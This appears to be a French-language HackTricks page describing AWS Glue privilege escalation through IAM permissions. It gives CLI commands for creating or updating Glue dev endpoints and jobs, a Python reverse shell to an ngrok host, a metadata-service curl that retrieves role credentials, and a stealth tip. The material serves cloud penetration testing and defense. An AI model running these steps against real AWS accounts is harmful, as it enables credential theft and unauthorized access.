AWS - Glue Privesc

Soutenez HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs avec ces autorisations peuvent configurer un nouveau point de développement AWS Glue, assignant un rôle de service existant assumable par Glue avec des autorisations spécifiques à ce point de développement.

Après la configuration, l'attaquant peut se connecter en SSH à l'instance du point de développement, et voler les informations d'identification IAM du rôle assigné :

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Dans un souci de discrétion, il est recommandé d'utiliser les informations d'identification IAM depuis l'intérieur de la machine virtuelle Glue.

Impact potentiel : Élévation des privilèges vers le rôle de service Glue spécifié.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs avec cette autorisation peuvent modifier un point de terminaison de développement Glue existant, en activant l'accès SSH. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impact potentiel : Élévation de privilèges vers le rôle de service Glue utilisé.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Les utilisateurs avec iam:PassRole combiné avec soit glue:CreateJob ou glue:UpdateJob, et soit glue:StartJobRun ou glue:CreateTrigger peuvent créer ou mettre à jour un travail AWS Glue, en attachant n'importe quel compte de service Glue, et lancer l'exécution du travail. Les capacités du travail incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un shell inversé. Ce shell inversé peut ensuite être utilisé pour exfiltrer les informations d'identification IAM du rôle attaché au travail Glue, entraînant un accès ou des actions potentiellement non autorisés en fonction des autorisations de ce rôle :

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impact potentiel : Élévation de privilèges vers le rôle de service Glue spécifié.

glue:UpdateJob

Rien qu'avec l'autorisation de mise à jour, un attaquant pourrait voler les informations d'identification IAM du rôle déjà attaché.

Impact potentiel : Élévation de privilèges vers le rôle de service Glue attaché.

Références

Soutenez HackTricks

Last updated